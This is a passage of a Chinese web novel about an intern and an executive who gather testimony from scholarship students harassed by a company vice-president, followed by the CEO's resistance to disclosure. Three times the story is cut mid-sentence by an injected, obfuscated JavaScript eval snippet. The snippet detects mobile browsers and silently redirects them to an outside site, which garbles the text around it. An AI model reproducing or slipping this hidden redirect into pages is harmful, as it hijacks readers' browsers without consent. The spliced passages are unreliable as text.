在靳樵的职权范围内,可以。 “这件事是你先在查,你是合适协助律师的人选。不过如果你不方便去,那我会安排一位人品信得过的女同事……” 应星愣住了,这不是她的事吗?怎么靳樵帮揽了过去还问她愿不愿意参与?应星怎么可能会拒绝? “我当然愿意参与!我愿意和律师一起去。谢谢你,靳樵。” “戴浩成是光年的员工,这件事涉及市场部,不用跟我说谢。公司的社会事务,尤其是公益项目,委托第三方机构做回访,这是正常操作。没早点开始……可能已经让戴浩成这样的人做了许多不该做的事……” 应星听出靳樵有些激愤,又有几分无奈。 她看着桌面淡淡说道:“青苗基金会做得更不好。” 基金会聘请监事,是为了对日常事务进行监督,确保合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477950|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法合规,不偏离它资助学子的宗旨,这几年,却是戴浩成这样的人在担任。那基金会内部到底存在什么问题?这些问题蔓延到那里了……都是让应星难受、犹豫的事。 “这就是你不向秘书长等人举报,选择自己调查他的原因?” “嗯……” 应星坐在对面,双手合握在膝盖内侧放着,垂着眼睑若有所思,她很少说关于自己的话,那么大的事,她就这样淡淡的一句回应。靳樵看她,真的是过沉过静的一个人。 有一些质朴的善良是天生的,跟性格无关……靳樵想。 “我昨晚已经联系过张清律师,等一下会再和她聊一聊,但现在是假期,愿意接受回访的学子不一定还在学校。我会请她优先联系郑筱等人。如果联系上的话,这周末的时间你能一起吗?” 这周末这么快…… 应星点头,“能的。” “不演出?” 应星抬头微讶,靳樵怎么知道她有演出? 靳樵佯装没看到应星带着惊讶的眼神。他这段时间去过不少次那家酒吧,都坐在很后面靠墙的位置,舞台演出的应星是看不到的。说他已经遇见过她好几次,有些奇怪。 应星想大概是哪个同事告诉靳樵的吧。应星在琉璃酒吧兼职的事,挨着她的几个同事都知道。 “这件事比较重要,我可以和老板商量调整演出的时间表,也可以试试看和别的歌手交换,周末可以的。” “好。” 靳樵多了句嘴:“如果老板不好说话,我可以帮你协调,有重要的事情。” “好的。” 事情商议完了,两人一起走出去。正在客厅忙碌的老板问:“两位,要不要在这里吃点晚餐?” 应星谢过老板,跟靳樵告别,先走了。她可完全不想和靳樵吃饭,两人话很少,还有那十万块钱的事太尴尬了。 周三,靳樵联系的女律师张清加了应星联系方式,约她下班后见面。还是在平江路咖啡馆,张清给应星看回访表,交代了她一些注意事项。 张清让应星请了周五的假,两人周四晚上就出发,前往宜城。宜城有几位答应参加回访的学生,其中就有已经退出项目的郑筱。应星不知道张清用什么方法说服了郑筱。这是个执业十几年的女律师,和人沟通是她的专业,应星案暗自佩服。 张清说:“应星,你可以信任我。靳樵已经跟我说明了此行的目的,遇到这种事,我就是不要服务费也会帮忙的。当然,也会保密。” “张律,我在社交平台看过您的账号,您是一位值得信任的律师。” 张清笑笑,“但我手里的事有点多,委托你帮忙买机票,可以吗?” “我很乐意效劳,这次去宜城我是您的助理,有事请您尽管吩咐。” “好的,谢谢,那你等一下就定好吧,明晚七点以后得航班都可以。”张清拿起手机给应星发了身份信息,笑笑说:“刚才靳樵还问我,需不需要他陪同我们一起去。” 23. 宜城 靳樵要一起去? “他担心我们两个女生遇到危险……”张清摇摇头不以为然,“靳樵真是在国外呆太久了,只是去做回访而已。如果真的有女孩子受到骚扰不敢发声,现在还不到打仗的时候。” 应星同意张清的话,但她忍不住在心里想,靳樵这个人,他真的一直就,这么绅士,这么主动帮忙别人……以前就这样。 周四晚,张清和应星一起落地宜城。 她们就住在宜城交通大学附近的酒店,和学生们访谈的地方约在酒店的咖啡厅。这里离学校近,出入都是学校师生和附近居民,不会令人感到不安全。 在咖啡厅静谧的包间内,应星坐在张清旁边,终于见到了名单上的面孔。张清也约了男同学,但两个人重点的访谈对象其实是女生。 张清负责访谈,应星坐在她旁边,负责记录。张清平时那么严肃的女律师,在学生面前却十分亲和。前面十五分钟,张清问学生们关于“光年英才”的体验,戴浩成这个名字一次都没有出现在谈话中。 接着,张清用随意的语气问了个问题。 “项目中是否有让你感到不舒服的时刻?” 最先来的是两个交大的学生,都没有对这个问题表现出特别的反应,只是愣了愣,有些茫然。 “是否有人曾让你觉得关怀的尺度超越了项目本身?” “没有。” “没有。” 直到第三个来的女孩子被问了问题,张清和应星听到她的话,心里都警觉起来。 那女孩用小心翼翼的目光看着她们:“你们真的是律师吗?是光年请的律师?” “我是律师,我们事务所和光年有合作,但我们作为第三方独立机构,这次访谈的内容全程保密,访谈结果只是用于改进项目流程。这些访谈都是匿名的,且光年也不知道我们什么时候进行评估访谈。” 张清不着急,安静地等那女孩打量她和应星。她拿出自己的证件,还有平台上的账号给她看。 “项目是好的,但后来有个人,他给我的个人帮助,让我感到很有压力……我不知道别的同学是不是也会收到……” 女生话没说多少,像是下了很大的决心,说着说着,不过几句话,脸色变得越来越难看,几乎要哭出来。 “是谁,给了你什么个人帮助吗?” “戴浩成,戴总……他真的是光年的副总吧?他给我发过一笔额外的奖学金,有,有几千块……上个月十二号,他来宜城出差约我见面,开始是问学习,后来……后来就跟我说,因为我表现比较好,所以以后都会有。只要我听话,多和他联系,他那天搂了我的肩膀,搂了几分钟,我很害怕……” 女生紧紧抿着嘴,眼泪已经流出来了。 “除了给你转额外的奖学金,他还做了什么?” 接下来的话,应星彻底预料到了。额外的好处、暧昧的话语、肢体试探,根据女生的反应,戴浩成做得谙熟,也拿准了尺度,拿准了女生不敢说出去,就是说出去也难找到实锤。 周日下午,她们见到了最后一个来的女学生,郑筱。 郑筱显然听别的同学说了些什么,直接问张清:“你们在查光年一些不合理的事,是吗?” 她显然是个有主意的女生,没有回避,看着张清说道:“我自愿退出项目的原因只有一个,戴浩成对我的骚扰。如果你们不来,我已经准备想办法在社交平台曝光他。” 郑筱好像想通了一些事,眼神清冽而直白。 “但是前两年资助的钱我确实拿到了。他送过我一些礼物,最多的是大牌小样,那时我没回过味来,以为他是要追我,小样也被用了。我现在在微博和朋友圈说这些事情,会有人指责我占便宜吧……” 这是她犹豫了好久的原因。 应星直接跟她说了:“那些大牌小样,都是公司活动时别人送的赠品,是他钓鱼的鱼饵。” 郑筱:“我现在知道了……” 接下来的时间,郑筱在房间和张清聊了一个多小时。张清和应星都有一个感觉,这个访谈来得太及时了,不能再晚了,再晚,一定会有更多不堪的事情扯进来…… 郑筱说的事,应星已经提前想到了。非常符合他对戴浩成的推测,戴浩成就是那样做的。 所有的对话都用录音保存了下来,应星也做了文字记录。 星期天晚上,张清将那些陈述转化为笔录,打印出来,带着应星去宜大交大两所学校,请两个女学生确认签字,把这个结果告诉了靳樵。 张清和应星走出宜交的校门时,靳樵给张清打来了电话。 应星听到他在电话里说:“明早九点,我会向管理层和内审部、财务部提交关于调查光年英才项目和戴浩成违规行为的申请报告。” 张清问:“周总会同意公开调查?” 靳樵说:“不管他怎么说,我一定会让他同意,将戴浩成停职调查。” 应星和张清乘晚班机回汉源,在机场落地的时候已经凌晨一点多了。靳樵开车到机场接她们。鉴于戴浩成这件事的严重性,靳樵还要当面和她们再聊一聊。 车一路驶回市区,应星心情很沉重,张清却十分轻松。她操持过的案件太多,见过太多离谱的事,处理戴浩成这种的已经驾轻就熟了。她感觉到氛围很沉重,实在闷得慌,便坐在副驾和靳樵闲聊:“你刚回国,周末有什么活动没?” 靳樵:“校友群有活动,这周末没参加。”两天都在等着她们回访的消息。 “在国外周末都做些什么呢?” “国外吗?偶尔会去滑雪、攀岩。” “你回汉源也几个月了,还习惯吗?汉源周边可没有好的滑雪场和攀岩的地方。” 在张清这个女性前辈前面,靳樵像个有问必答的好学生。 “除了加班多点,其他都习惯,吃的最好。” 张清笑,“光年加班还没有我们律所多!汉源市不加班的公司没几家吧,周总三邀四请你回国时,没跟你说这一条?” 靳樵也笑,“说了,我以为加班是他的个人爱好,没想到是全行业内卷。” “但你还是回来了。” “没办法,在那边呆不下去了。” 张清不置可否,靳樵回国可不是因为呆不下去。光年智科高速发展,近年雄心勃勃,周祖宸高薪聘请他回来帮光年开拓海外市场的。 应星坐在后座,静静听着他们说话,发现自己心里生出一股贪婪。她希望张清能够和靳樵说得多一些,好让她这个后座的乘客能顺便听一听。她其实,对靳樵,一直都知道得很少很少。每次她能看到的靳樵的那一点点,都是靳樵出于正直,或者出于绅士,无意中展现出来的。 市区已经进入宁静的深夜,在张清律所的办公室,三个人再次回顾访谈录音,确认所有有法律效力和可信度的证词。 结束时应星忍不住问靳樵:“这会影响你和市场部的工作吗?” 靳樵没什么表情:“可能会影响,但这件事本身就是坏事,不是你影响的。” 应星和张清三天连轴转,两个人脸色都十分憔悴,都有黑眼圈。 靳樵看着她:“应星,明早请假休息半天?” “不用了,我可以的。” 靳樵想问:明天不是有演出?他昨晚去梧桐路吃饭,路过琉璃小坐了一会儿,看到新排的演出表,应星周末的演出挪到了周一周二。 不过靳樵没问,应星的日常如何安排,就不关他的事了。 “好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477951|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天,应星从进公司起就悬着一颗心,等着看靳樵向内审部发出对戴浩成的调查申请。她不知道实习生能不能看得到,周围的同事看到了又是什么反应。 张清是这方面的资深律师,昨晚她告诉他们,目前所搜集到证据已经足够提起检举,但戴浩成极有可能还涉及经济犯罪,涉及到这一项,公司的态度就很重要,最好先知道光年管理层对这件事的态度。 戴浩成办公室没人,却一早就给应星发来一条消息:“今早临时出差了。应星,你和豆豆他们分摊一下工作,我这边随时也有些资料需要传回来让你整理。后天见!” 应星一阵恶寒,看到赵小童也不在,就给她发消息:“小童,今天你请假了吗?” 赵小童回复:“是的,星姐,我生理期肚不舒服,请假在家里休息,已经跟豆豆姐他们报备过了。” 这就没问题,应星担心的是赵小童被戴浩成叫去一起出差。 ———— 今天周祖宸的行程安排是去外地工厂,不在办公室。还不到午饭时间,靳樵亲自来办公室询问过两次。她问秘书,财物部有没有拿报告或者文件来周总办公室。他加入光年的时间太短,不到一个月,CEO办公室的秘书还没怎么和他打过交道,因此也完全不了解他的行事风格。 靳樵那张平时令人如沐春风的脸变得异常严肃,他可以打办公室电话,不知道为什么却亲自来询问。何秘书微笑着跟他说,没有文件送来,周总今天在工厂,行程下午才结束。 今天早上七点半时,靳樵给周祖宸打了一个电话。周祖宸有晨跑的习惯,靳樵的电话是掐着时间打的。十分钟时间,靳樵把张清整理好的证据文件都发给周祖宸,请他看过,然后问他这件事直接交给内审部如何? 以靳樵的职权可以直接向内审部检举或者发工作函,但他在光年是空降,资历还浅,调查项目的工作函到内审部那里接下来是什么流程,要走多久,他还不清楚。最快的办法就是请周祖宸直接发指令查这件事。 周祖宸没想到他亲自管的部门居然有人背地里在做违法乱纪的事,他在市场部确实大幅放权,也很信任戴浩成,这个副总还是他亲自提的。 令靳樵恼火的是,周祖宸处理这件事的第一步是让他先不要公开,也绝不能跟任何人提及,尤其是下属员工。 周祖宸在坐车去工厂的路上还在和靳樵打电话。说他会让财务部相关人员立即去调阅光年英才过去三年的财务支出明细及凭证,他远程看结果,等财务部的人把查账的结果送到办公室,靳樵也可以先过去看,但这件事要等他回来再说。 于是一整个上午,靳樵亲自到CEO办公室问了两次。但直到下班前,财务那里都没有人送东西来。晚饭后,靳樵随便吃了点东西,就在办公室里坐着,今天没有个结果,他于心不安。又过了好久,周祖宸才跟他发了个信息,现在和司机到三环了。 靳樵起身去了十五层,很快周祖宸回来了。周祖宸刚坐下,有个戴厚底眼镜的同事就敲门进来。 “周总,这是您今早让查的东西,戴总确实存在严重的违规行为。” 靳樵简直怀疑他是听周祖宸的话拖到现在才把结果送上来。 那同事直接了当汇报:“目前查到的主要是有几笔大额非标报销,事由模糊,并不符合公司规定,但特批了。具体的资金还要再查,但从目前查证的结果看,戴总已明确涉嫌职务侵占……” 周祖宸先翻看了文件,接着递给靳樵看。 “你先出去吧,有要问的地方我给你电话,辛苦了。” 戴眼镜的同事推门出去后,办公室里只剩下周祖宸和靳樵。 “周总,这件事怎么处理?” 靳樵一直等到现在,语气并不是很好。 24. 邮件 周祖宸说:“公司会让戴浩成停职接受调查,但不能公开。” 靳樵生气:“即使调查结果出来,戴浩成坐实了非法占有公司资金,也不公开吗?我知道他的事你不知情,光年是你十来年的心血。但是即使他不涉嫌职务侵占,就凭我电脑里的这些,利用职务之便骚扰、侵犯女学生,此人也应该身败名裂!” 靳樵停了一下:“我主张公司公开发调查公告,并且到公安机关进行刑事举报。” 周祖宸也变得严肃:“不行!靳樵,公司不只是我十二年的心血,公司还是数万名员工的饭碗!这种事很恶心,必须要杜绝,但你以为一个戴浩成很重要吗?重要的是性骚扰这种事在媒体那里极其敏感,公司不能因他受到负面影响!我要对所有员工负责!还有下面合作的工厂,那么多条生产线,那么多工人。” 靳樵:“所以如果戴浩成犯的事都属实,公司的处理是什么?” “让他引咎辞职,摘除他和公司的关系。实际上是开除,但是秘密处理。” 靳樵也激愤起来:“表面上是辞职,那意味着他以后还会入职新的单位,这样的人去哪里都是毒瘤!他甚至可以继续在青苗基金会担任监事。周总,为什么数万人的公司做事还不如一个实习生?” 这些烂事早就发生了,是应星率先挖开了腐烂的一角。 周祖宸太小心了。靳樵看着他,没意识到自己的眼神里传达出了不满。眼前的周祖宸实在不像十二年前在居仁大学地库实验室那个遇到事情不顾代价立即解决的人。 “一个实习生不需要为数万人和这背后的家庭负责。靳樵,出了这样的事我也气愤,但我要尽量规避这件事给光年产品的口碑造成影响。我决不允许所有人的心血因为一个戴浩成而被口诛笔伐!” 周祖宸刚从工厂回来,创业多年,什么样的恶心事他都见过,但在他这里,一条生产线的稳定运作比起怎么处罚一个犯了错的员工要重要得多。 靳樵突然明白了他的想法。两人对视片刻,分别点了一支烟,各自坐在一旁抽起来。 抽完一支烟,靳樵起身将办公室的窗户打开透气。 靳建华教给他的自省习惯在冷静下来后起了作用。 “我没当过创业者和数万人企业的掌舵人,我确实只是在我的岗位想上问题。” 周祖宸叹了口气,“我之前对市场部的管理太粗放了,也不会识人。存在这种烂事,我也有很大责任。” 靳樵站在窗户边往外看,汉源市市区高楼林立。光年智科的崛起是一个万分艰辛的过程,过去这些年,打败了数家声势浩大的竞争对手,经历过数不清的风雨雷暴,才在市场站稳了脚跟。周祖宸的立场,他确实没法过多指摘。 “不向没媒体和公众曝光这个人,也行。但是学长,公司一定要查,也不能不报案。” 周祖宸心里的想法也会因时而异。 他叹口气,“再给小刘两三天时间吧,我已经跟他说过了,他会进一步把所有的违规都查清楚。今晚我会把戴浩成召回来,不再让他沾手任何CSR项目。” “只是CSR项目吗?” “是停止他在市场部的职务。” “好。” 烟味刚散去没多久,周祖宸就又点了一支烟。靳樵文件夹里的东西他没看完,但就两个女学生签字确认的笔录,已经足够把戴浩成这个人踢出去了。这种恶心事没什么好说的,就是他要考虑的面太多,人反而显得无情、毫无正义感。 “学长,你既然把市场部叫给我管,以后市场部便不会出现这种事。你先休息吧,我走了。” 靳樵给张清和应星打电话,他跟她们道歉,没有能让周祖宸同意在公司发调查公告。 应星静静听着,这个结果她之前已经想到了。一个公司,尤其是周祖宸那里,要顾虑的事太多了。 靳樵什么好道歉的呢?他已经帮了很多忙了。 应星真诚跟靳樵说谢谢,靳樵听到她那边有嘈杂的音乐声,应该是正在琉璃演出。他心情不太好,有点想找地方喝一杯。但应星在琉璃,他现在赶去琉璃喝酒算怎么回事呢?靳樵把喝一杯的想法取消了,挂了电话之后在家里健身房消耗多余的力气。 ———— 之后三天,戴浩成没有在公司出现。 周三晚上,应星在从琉璃回学校的路上收到一封邮件。写信的女生现在是深城一家公司的工程师,名叫王靖霞,曾经青苗基金资助过的学子。 邮件的开头写道:“应星你好,你一定不认识我,但我最近听说了你。我听一个朋友说,有个叫应星的学姐在搜集戴姓某人这些年无下限骚扰女生的证据。我要跟你说一声谢谢,这些年,我对青苗基金的感情很复杂,不知道它在帮助学子的同时已经烂成什么样了。当我听说你在查这件事的时候,我终于深深地透了一口气,感到这件事终于来到了解决的时机,我想把我知道的一些东西告诉你……” 应星阅读那邮件,震惊了,邮件里有两张照片照的是女生的身体,有一张甚至有大面积的淤青。她戴上耳机打来附件里的录音,录音里是一段对话。 戴浩成说:“我很喜欢你,你知道为什么吗?因为第一次见面那天你是所有学妹腰最细的……” “以后找个好工作也不是什么难事,多跟我见面,我一样一样慢慢教你啊……” “今天下午你开心吗?我们可以就这样,也可以做情侣……我还是想以一种不同的身份和你在一起。” 应星快要听吐了。 王靖霞给应星写了一封很长的信,信里详细写了和戴浩成来往的细节。戴浩成甚至将她诱骗到酒店房间,把她推倒在床上,那两张照片里,是当时她跑出房间时嗑在椅子上留下的淤青,事情已经发生了太久,她当时只留下了这个。 她说:“应星,这段经历永远是我人生最恶心的一段经历。我那时忙着考研,不考上我就没有路走,我那时大哭了一场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477952|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,之后只能安慰自己,没有受到实质性伤害就让这件事情过去吧,以后再也不要见那个人。这两年才发现,那件事过不去,不是遭到QJ才叫实质伤害。希望这些证据对你有用,如果你需要我作证,我的联系方式是……,请随时联系我。我还认识一个更关键的人,和他一直有联系,他叫杨春明,他也会联系你的。” 回到寝室,应星将邮件重又细细看过。她心疼这个女生,从山区走出来,在很好的单位当了工程师,才敢正视自己过去受的伤害。应星回复了她,有些好奇问她怎么肯信任自己。女生回复了应星:“因为你做了我想做的事,如果不是你,那就是我,谢谢你在我之前站出来!” 应星现在知道了,不是所有人都会选择一直忍气吞声,至少郑筱、王靖霞已经在考虑做些什么,应星只是比她们早了一步。 这段时间以来,应星第一次觉得受到感动和鼓舞。虽然从未谋面,但王靖霞发来这封邮件,她是除了林墨和蒋文杰外第一个在这件事上肯定她的人。 应星坐在电脑前梳理这两天发生的事,接受的信息。 不知怎么的,很累的时候,她突然又想到蒋文杰。 她打开微信,翻到两人的对话框。对话还停留在他的那一句“就这样分开吧”……她突然又感到一阵空落落的。 交流会之后的某一天,那天应星从早到晚都在忙,做了好多事,觉得非常累,突然就想给蒋文杰打个电话。她打过去,蒋文杰接了。互相问了现在做什么,忙吗?就这样说了几句。 电话接通前,应星觉得好像有许多话要说,应该说。真的接通了说上话,她却突然觉得,不想说了,说什么都不重要了。他听到蒋文杰正一个人走在下班回家的路上……他跟她是一样的感觉,如果两个人的选择都没有什么改变,许多话已经没有必要再说了。 从那天起,应星知道这段感情就这样安静地终结了。 这一个月,偶尔想起蒋文杰,应星心里都是这样,一层薄纱一样并不沉重但一直覆盖着的失落。 二十九岁,不能守住一份稳定的感情……应星是生日在七月底,过了八月,她就三十了,这个年纪才开始读博,才开始让自己大方承认喜欢唱歌,喜欢穿漂亮裙子,开始想做点什么改变……真的很晚了吗?她不知道。 但应星也没有什么时间去反悔,再有两个月,她就要去居仁人文学院读博士。那是他十九岁那年在梦里都想去的学府……现在去,真的晚了吗? 桩桩件件的事,应星想得头都痛了,趴在桌子上。 有人敲门,应星打开门,是宿管阿姨。 “姑娘,好不容易等到你这寝室有人在,我来通知你一件事。你看学校前天发的群消息没有?学校要求毕业生们在七月五号前搬走……你这一层只剩两间寝室还有人了,还有几天,我来提醒提醒你,要尽快搬走哦,阿姨要来打扫。” 应星看手机日期,今天已经是七月一号,她完全把这件事忘了!